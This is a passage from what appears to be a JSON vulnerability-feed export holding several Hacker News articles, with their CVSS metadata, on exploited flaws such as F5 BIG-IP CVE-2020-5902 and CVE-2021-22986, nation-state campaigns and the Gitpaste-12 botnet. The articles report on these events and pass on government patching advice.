"attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-20T15:54:00", "type": "thn", "title": "Critical F5 BIG-IP Bug Under Active Attacks After PoC Exploit Posted Online", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902", "CVE-2021-22986"], "modified": "2021-03-22T14:27:48", "id": "THN:4959B86491B72239BCAF1958D167D57D", "href": "https://thehackernews.com/2021/03/latest-f5-big-ip-bug-under-active.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:02", "description": "[](<https://thehackernews.com/images/-6eC4FwSH2yw/YEmwuyqxcNI/AAAAAAAACAY/aWrRRdD8cBg6xoe5Pf5tW9tF8Rh1YaijwCLcBGAsYHQ/s0/f5-big-ip-hacking.jpg>)\n\nApplication security company F5 Networks on Wednesday published an [advisory](<https://support.f5.com/csp/article/K02566623>) warning of four critical vulnerabilities impacting multiple products that could result in a denial of service (DoS) attack and even unauthenticated remote code execution on target networks.\n\nThe patches concern a total of seven related flaws (from CVE-2021-22986 through CVE-2021-22992), [two](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2126>) of [which](<https://bugs.chromium.org/p/project-zero/issues/detail?id=2132>) were discovered and reported by Felix Wilhelm of Google Project Zero in December 2020.\n\nThe four critical flaws affect BIG-IP versions 11.6 or 12.x and newer, with a critical pre-auth remote code execution (CVE-2021-22986) also affecting BIG-IQ versions 6.x and 7.x. F5 said it's not aware of any public exploitation of these issues.\n\nSuccessful exploitation of these vulnerabilities could lead to a full compromise of vulnerable systems, including the possibility of remote code execution as well as trigger a buffer overflow, leading to a DoS attack.\n\nUrging customers to update their BIG-IP and BIG-IQ deployments to a fixed version as soon as possible, F5 Networks' Kara Sprague [said](<https://www.f5.com/company/blog/big-ip-and-big-iq-vulnerabilities-protecting-your-organization>) the \"vulnerabilities were discovered as a result of regular and continuous internal security testing of our solutions and in partnership with respected third parties working through F5's security program.\"\n\n[](<https://thehackernews.com/images/-VxN1SzbZz9k/YEmul9_bMdI/AAAAAAAACAQ/zxGSMU-no54Ri18zqGtIANW32scBRojhwCLcBGAsYHQ/s0/f5.jpg>)\n\nThe vulnerabilities have been addressed in the following products:\n\n * BIG-IP versions: 16.0.1.1, 15.1.2.1, 14.1.4, 13.1.3.6, 12.1.5.3, and 11.6.5.3\n * BIG-IQ versions: 8.0.0, 7.1.0.3, and 7.0.0.2\n\nBesides these flaws, Wednesday's patches also include fixes for 14 other unrelated security issues.\n\nThe fixes are notable for the fact that it's the second time in as many years that F5 has revealed flaws that could allow remote code execution. \n\nThe latest update to BIG-IP software arrives less than a year after the company addressed a [similar critical flaw](<https://support.f5.com/csp/article/K52145254>) ([CVE-2020-5902](<https://thehackernews.com/2020/07/f5-big-ip-application-security.html>)) in early July 2020, with multiple hacking groups exploiting the bug to target unpatched devices, prompting the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to issue an [alert](<https://us-cert.cisa.gov/ncas/alerts/aa20-206a>) cautioning of a \"broad scanning activity for the presence of this vulnerability across federal departments and agencies.\"\n\n\"This bug is probably going to fly under the radar, but this is a much bigger deal than it looks because it says something is really really broken in the internal security process of F5 BIG-IP devices,\" [said](<https://twitter.com/pwnallthethings/status/1369682528982999048>) Matt \"Pwn all the Things\" Tait in a tweet.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-11T05:56:00", "type": "thn", "title": "Critical Pre-Auth RCE Flaw Found in F5 Big-IP Platform \u2014 Patch ASAP!", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902", "CVE-2021-22986", "CVE-2021-22992"], "modified": "2021-03-11T06:01:14", "id": "THN:D31DB501A57ADE0C1DBD12724D8CA44C", "href": "https://thehackernews.com/2021/03/critical-pre-auth-rce-flaw-found-in-f5.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:40:09", "description": "[](<https://thehackernews.com/images/-S81ZTpL3VW0/X2CFi_g7l0I/AAAAAAAAAww/bXeyXz56F-0V-P2VhHdoO5qJllbhNqfswCLcBGAsYHQ/s728-e100/hacking.jpg>)\n\nThe US Cybersecurity and Infrastructure Security Agency (CISA) issued a [new advisory](<https://us-cert.cisa.gov/ncas/alerts/aa20-258a>) on Monday about a wave of cyberattacks carried by Chinese nation-state actors targeting US government agencies and private entities. \n \n\"CISA has observed Chinese [Ministry of State Security]-affiliated cyber threat actors operating from the People's Republic of China using commercially available information sources and open-source exploitation tools to target US Government agency networks,\" the cybersecurity agency said. \n \nOver the past 12 months, the victims were identified through sources such as [Shodan](<https://www.shodan.io/>), the Common Vulnerabilities and Exposure ([CVE](<https://cve.mitre.org/>)) database, and the National Vulnerabilities Database (NVD), exploiting the public release of a vulnerability to pick vulnerable targets and further their motives. \n \nBy compromising legitimate websites and leveraging spear-phishing emails with malicious links pointing to attacker-owned sites in order to gain initial access, the Chinese threat actors have deployed open-source tools such as [Cobalt Strike](<https://www.cobaltstrike.com/>), [China Chopper Web Shell](<https://blog.talosintelligence.com/2019/08/china-chopper-still-active-9-years-later.html>), and [Mimikatz](<https://github.com/gentilkiwi/mimikatz>) credential stealer to extract sensitive information from infected systems. \n \nThat's not all. Taking advantage of the fact that organizations aren't quickly mitigating known software vulnerabilities, the state-sponsored attackers are \"targeting, scanning, and probing\" US government networks for unpatched flaws in F5 Networks Big-IP Traffic Management User Interface ([CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)), Citrix VPN ([CVE-2019-19781](<https://www.citrix.com/blogs/2020/01/24/citrix-releases-final-fixes-for-cve-2019-19781/>)), Pulse Secure VPN ([CVE-2019-11510](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101>)), and Microsoft Exchange Servers ([CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>)) to compromise targets. \n \n\"Cyber threat actors also continue to identify large repositories of credentials that are available on the internet to enable brute-force attacks,\" the agency said. \"While this sort of activity is not a direct result of the exploitation of emergent vulnerabilities, it demonstrates that cyber threat actors can effectively use available open-source information to accomplish their goals.\" \n \nThis is not the first time Chinese actors have worked on behalf of China's MSS to infiltrate various industries across the US and other countries. \n \nIn July, the US Department of Justice (DoJ) [charged two Chinese nationals](<https://thehackernews.com/2020/07/chinese-hackers-covid19.html>) for their alleged involvement in a decade-long hacking spree spanning high tech manufacturing, industrial engineering, defense, educational, gaming software, and pharmaceutical sectors with an aim to steal trade secrets and confidential business information. \n \nBut it's not just China. Earlier this year, Israeli security firm ClearSky uncovered a cyberespionage campaign dubbed \"[Fox Kitten](<https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html>)\" that targeted government, aviation, oil and gas, and security companies by exploiting unpatched VPN vulnerabilities to penetrate and steal information from target companies, prompting CISA to issue [multiple security alerts](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>) urging businesses to secure their VPN environments. \n \nStating that sophisticated cyber threat actors will continue to use open-source resources and tools to single out networks with low-security posture, CISA has recommended organizations to patch [routinely exploited vulnerabilities](<https://us-cert.cisa.gov/ncas/alerts/aa20-133a>), and \"audit their configuration and patch management programs to ensure they can track and mitigate emerging threats.\"\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-09-15T09:14:00", "type": "thn", "title": "CISA: Chinese Hackers Exploiting Unpatched Devices to Target U.S. Agencies", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2019-19781", "CVE-2020-0688", "CVE-2020-5902"], "modified": "2020-09-15T09:14:30", "id": "THN:0E6CD47141AAF54903BD6C1F9BD96F44", "href": "https://thehackernews.com/2020/09/chinese-hackers-agencies.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:41", "description": "[](<https://thehackernews.com/images/-fwDdPBvfngM/X9ibO88XoLI/AAAAAAAABQw/D13X0oYaee0IGytkuvamApgShATiHDPpACLcBGAsYHQ/s0/linux-botnet-malware.jpg>)\n\nA new wormable botnet that spreads via GitHub and Pastebin to install cryptocurrency miners and backdoors on target systems has returned with expanded capabilities to compromise web applications, IP cameras, and routers.\n\nEarly last month, researchers from Juniper Threat Labs documented a crypto-mining campaign called \"[Gitpaste-12](<https://blogs.juniper.net/en-us/threat-research/gitpaste-12>),\" which used GitHub to host malicious code containing as many as 12 known attack modules that are executed via commands downloaded from a Pastebin URL.\n\nThe attacks occurred during a 12-day period starting from October 15, 2020, before both the Pastebin URL and repository were shut down on October 30, 2020.\n\nNow according to Juniper, the [second wave of attacks](<https://blogs.juniper.net/en-us/threat-research/everything-but-the-kitchen-sink-more-attacks-from-the-gitpaste-12-worm>) began on November 10 using payloads from a different GitHub repository, which, among others, contains a Linux crypto-miner (\"ls\"), a file with a list of passwords for brute-force attempts (\"pass\"), and a local privilege escalation exploit for x86_64 Linux systems.\n\nThe initial infection happens via X10-unix, a binary written in Go programming language, that proceeds to download the next-stage payloads from GitHub.\n\n\"The worm conducts a wide-ranging series of attacks targeting web applications, IP cameras, routers and more, comprising at least 31 known vulnerabilities \u2014 seven of which were also seen in the previous Gitpaste-12 sample \u2014 as well as attempts to compromise open Android Debug Bridge connections and existing malware backdoors,\" Juniper researcher Asher Langton noted in a Monday analysis.\n\n[](<https://thehackernews.com/images/-MnNDyRv-4q0/X9iZyru8E8I/AAAAAAAABQg/G32fg2lWOaYfG9Ddivn-xJsuILwFLh2jACLcBGAsYHQ/s0/cryto-malware.jpg>)\n\nIncluded in the list of 31 vulnerabilities are remote code flaws in F5 BIG-IP Traffic Management User Interface (CVE-2020-5902), Pi-hole Web (CVE-2020-8816), Tenda AC15 AC1900 (CVE-2020-10987), and vBulletin (CVE-2020-17496), and an SQL injection bug in FUEL CMS (CVE-2020-17463), all of which came to light this year.\n\nIt's worth noting that [Ttint](<https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/>), a new variant of the Mirai botnet, was observed in October using two Tenda router zero-day vulnerabilities, including CVE-2020-10987, to spread a Remote Access Trojan (RAT) capable of carrying out denial-of-service attacks, execute malicious commands, and implement a reverse shell for remote access.\n\nAside from installing X10-unix and the Monero crypto mining software on the machine, the malware also opens a backdoor listening on ports 30004 and 30006, uploads the victim's external IP address to a private Pastebin paste, and attempts to connect to Android Debug Bridge connections on port 5555.\n\nOn a successful connection, it proceeds to download an Android APK file (\"weixin.apk\") that eventually installs an ARM CPU version of X10-unix.\n\nIn all, at least 100 distinct hosts have been spotted propagating the infection, per Juniper estimates.\n\nThe complete set of malicious binaries and other relevant Indicators of Compromise (IoCs) associated with the campaign can be accessed [here](<https://blogs.juniper.net/en-us/threat-research/everything-but-the-kitchen-sink-more-attacks-from-the-gitpaste-12-worm>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-12-15T11:18:00", "type": "thn", "title": "Wormable Gitpaste-12 Botnet Returns to Target Linux Servers, IoT Devices", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10987", "CVE-2020-17463", "CVE-2020-17496", "CVE-2020-5902", "CVE-2020-8816"], "modified": "2020-12-15T11:18:55", "id": "THN:5617A125FD4E30B9B9B0DFCEDCEB8DB2", "href": "https://thehackernews.com/2020/12/wormable-gitpaste-12-botnet-returns-to.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:15", "description": "[](<https://thehackernews.com/images/-W51kRhVBeW0/YJaCznsmgiI/AAAAAAAACfU/z7fgy604zAcZllL9m6sPApy3bUHHX9YEQCLcBGAsYHQ/s0/hacker.jpg>)\n\nCyber operatives affiliated with the Russian Foreign Intelligence Service (SVR) have switched up their tactics in response to previous [public disclosures](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) of their attack methods, according to a [new advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/05/07/joint-ncsc-cisa-fbi-nsa-cybersecurity-advisory-russian-svr>) jointly published by intelligence agencies from the U.K. and U.S. Friday.\n\n\"SVR cyber operators appear to have reacted [...] by changing their TTPs in an attempt to avoid further detection and remediation efforts by network defenders,\" the National Cyber Security Centre (NCSC) [said](<https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors>).\n\nThese include the deployment of an open-source tool called [Sliver](<https://github.com/BishopFox/sliver>) to maintain their access to compromised victims as well as leveraging the ProxyLogon flaws in Microsoft Exchange servers to conduct post-exploitation activities.\n\nThe development follows the [public attribution](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>) of SVR-linked actors to the [SolarWinds](<https://thehackernews.com/2021/04/researchers-find-additional.html>) supply-chain attack last month. The adversary is also tracked under different monikers, such as Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium.\n\nThe attribution was also accompanied by a technical report detailing five vulnerabilities that the SVR's APT29 group was using as initial access points to infiltrate U.S. and foreign entities.\n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) \\- Fortinet FortiGate VPN\n * [**CVE-2019-9670**](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) \\- Synacor Zimbra Collaboration Suite\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) \\- Pulse Secure Pulse Connect Secure VPN\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) \\- Citrix Application Delivery Controller and Gateway\n * [**CVE-2020-4006**](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) \\- VMware Workspace ONE Access\n\n\"The SVR targets organisations that align with Russian foreign intelligence interests, including governmental, think-tank, policy and energy targets, as well as more time bound targeting, for example [COVID-19 vaccine](<https://www.ncsc.gov.uk/news/advisory-apt29-targets-covid-19-vaccine-development>) targeting in 2020,\" the NCSC said.\n\nThis was followed by a separate guidance on April 26 that [shed more light](<https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html>) on the techniques used by the group to orchestrate intrusions, counting password spraying, exploiting zero-day flaws against virtual private network appliances (e.g., CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.\n\nNow according to the NCSC, seven more vulnerabilities have been added into the mix, while noting that APT29 is likely to \"rapidly\" weaponize recently released public vulnerabilities that could enable initial access to their targets.\n\n * [**CVE-2019-1653**](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) \\- Cisco Small Business RV320 and RV325 Routers\n * [**CVE-2019-2725**](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) \\- Oracle WebLogic Server\n * [**CVE-2019-7609**](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) \\- Kibana\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) \\- F5 Big-IP\n * [**CVE-2020-14882**](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) \\- Oracle WebLogic Server\n * [**CVE-2021-21972**](<https://nvd.nist.gov/vuln/detail/CVE-2021-21972>) \\- VMware vSphere\n * [**CVE-2021-26855**](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) \\- Microsoft Exchange Server\n\n\"Network defenders should ensure that security patches are applied promptly following CVE announcements for products they manage,\" the agency said.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-05-08T12:24:00", "type": "thn", "title": "Top 12 Security Flaws Russian Spy Hackers Are Exploiting in the Wild", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-21972", "CVE-2021-26855"], "modified": "2021-05-11T06:23:38", "id": "THN:1ED1BB1B7B192353E154FB0B02F314F4", "href": "https://thehackernews.com/2021/05/top-11-security-flaws-russian-spy.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:44", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEivOb0--JbZm0DKk17OtegvDf0JMgVq1rnkokni7RLCsqEBf17tLvxhVDjVCC8yZeN6jpVJCkJlb3GTbW4f29ZlHKK9dZKnxCnVgFaE0N7nhOJe9r3HRvLR-reRBzNHAdx6aUoQDU5yI90E1LqRdEM3guLQQv95JsKCUSy1ZAoTckx4Q4_Vb6CxtXGe>)\n\nAmid renewed tensions between the U.S. and Russia over [Ukraine](<https://apnews.com/article/joe-biden-europe-russia-ukraine-geneva-090d1bd24f7ced8ab84907a9ed031878>) and [Kazakhstan](<https://thehill.com/policy/international/588860-tensions-between-us-russia-rise-over-military-involvement-in-kazakhstan>), American cybersecurity and intelligence agencies on Tuesday released a joint advisory on how to detect, respond to, and mitigate cyberattacks orchestrated by Russian state-sponsored actors.\n\nTo that end, the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and National Security Agency (NSA) have laid bare the tactics, techniques, and procedures (TTPs) adopted by the adversaries, including spear-phishing, brute-force, and [exploiting known vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) to gain initial access to target networks.\n\nThe list of flaws exploited by Russian hacking groups to gain an initial foothold, which the agencies said are \"common but effective,\" are below \u2014\n\n * [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (FortiGate VPNs)\n * [CVE-2019-1653](<https://nvd.nist.gov/vuln/detail/CVE-2019-1653>) (Cisco router)\n * [CVE-2019-2725](<https://nvd.nist.gov/vuln/detail/CVE-2019-2725>) (Oracle WebLogic Server)\n * [CVE-2019-7609](<https://nvd.nist.gov/vuln/detail/CVE-2019-7609>) (Kibana)\n * [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) (Zimbra software)\n * [CVE-2019-10149](<https://nvd.nist.gov/vuln/detail/CVE-2019-10149>) (Exim Simple Mail Transfer Protocol)\n * [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (Pulse Secure)\n * [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (Citrix)\n * [CVE-2020-0688](<https://nvd.nist.gov/vuln/detail/CVE-2020-0688>) (Microsoft Exchange)\n * [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) (VMWare)\n * [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (F5 Big-IP)\n * [CVE-2020-14882](<https://nvd.nist.gov/vuln/detail/CVE-2020-14882>) (Oracle WebLogic)\n * [CVE-2021-26855](<https://nvd.nist.gov/vuln/detail/CVE-2021-26855>) (Microsoft Exchange, exploited frequently alongside [CVE-2021-26857](<https://nvd.nist.gov/vuln/detail/CVE-2021-26857>), [CVE-2021-26858](<https://nvd.nist.gov/vuln/detail/CVE-2021-26858>), and [CVE-2021-27065](<https://nvd.nist.gov/vuln/detail/CVE-2021-27065>))\n\n\"Russian state-sponsored APT actors have also demonstrated sophisticated tradecraft and cyber capabilities by compromising third-party infrastructure, compromising third-party software, or developing and deploying custom malware,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/current-activity/2022/01/11/cisa-fbi-and-nsa-release-cybersecurity-advisory-russian-cyber>).\n\n\"The actors have also demonstrated the ability to maintain persistent, undetected, long-term access in compromised environments \u2014 including cloud environments \u2014 by using legitimate credentials.\"\n\nRussian APT groups have been historically observed setting their sights on operational technology (OT) and industrial control systems (ICS) with the goal of deploying destructive malware, chief among them being the intrusion campaigns against Ukraine and the U.S. energy sector as well as attacks exploiting trojanized [SolarWinds Orion updates](<https://thehackernews.com/2021/12/solarwinds-hackers-targeting-government.html>) to breach the networks of U.S. government agencies.\n\nTo increase cyber resilience against this threat, the agencies recommend mandating multi-factor authentication for all users, looking out for signs of abnormal activity implying lateral movement, enforcing network segmentation, and keeping operating systems, applications, and firmware up to date.\n\n\"Consider using a centralized patch management system,\" the advisory reads. \"For OT networks, use a risk-based assessment strategy to determine the OT network assets and zones that should participate in the patch management program.\"\n\nOther recommended best practices are as follows \u2014\n\n * Implement robust log collection and retention\n * Require accounts to have strong passwords\n * Enable strong spam filters to prevent phishing emails from reaching end-users\n * Implement rigorous configuration management programs\n * Disable all unnecessary ports and protocols\n * Ensure OT hardware is in read-only mode\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-12T09:14:00", "type": "thn", "title": "FBI, NSA and CISA Warns of Russian Hackers Targeting Critical Infrastructure", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-01-12T10:47:49", "id": "THN:3E9680853FA3A677106A8ED8B7AACBE6", "href": "https://thehackernews.com/2022/01/fbi-nsa-and-cisa-warns-of-russian.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:17", "description": "[](<https://thehackernews.com/images/-_sUoUckANJU/YQJlBsicySI/AAAAAAAADX0/BEDLvJhwqzYImk1o5ewZhnKeXxnoL0D0wCLcBGAsYHQ/s0/Security-Vulnerabilities.jpg>)\n\nIntelligence agencies in Australia, the U.K., and the U.S. issued a joint advisory on Wednesday detailing the most exploited vulnerabilities in 2020 and 2021, once again demonstrating how threat actors are able to swiftly weaponize publicly disclosed flaws to their advantage.\n\n\"Cyber actors continue to exploit publicly known\u2014and often dated\u2014software vulnerabilities against broad target sets, including public and private sector organizations worldwide,\" the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom's National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI) [noted](<https://us-cert.cisa.gov/ncas/alerts/aa21-209a>).\n\n\"However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.\"\n\nThe top 30 vulnerabilities span a wide range of software, including remote work, virtual private networks (VPNs), and cloud-based technologies, that cover a broad spectrum of products from Microsoft, VMware, Pulse Secure, Fortinet, Accellion, Citrix, F5 Big IP, Atlassian, and Drupal.\n\nThe most routinely exploited flaws in 2020 are as follows -\n\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) (CVSS score: 9.8) - Citrix Application Delivery Controller (ADC) and Gateway directory traversal vulnerability\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) (CVSS score: 10.0) - Pulse Connect Secure arbitrary file reading vulnerability\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) (CVSS score: 9.8) - Fortinet FortiOS path traversal vulnerability leading to system file leak\n * [**CVE-2020-5902**](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>) (CVSS score: 9.8) - F5 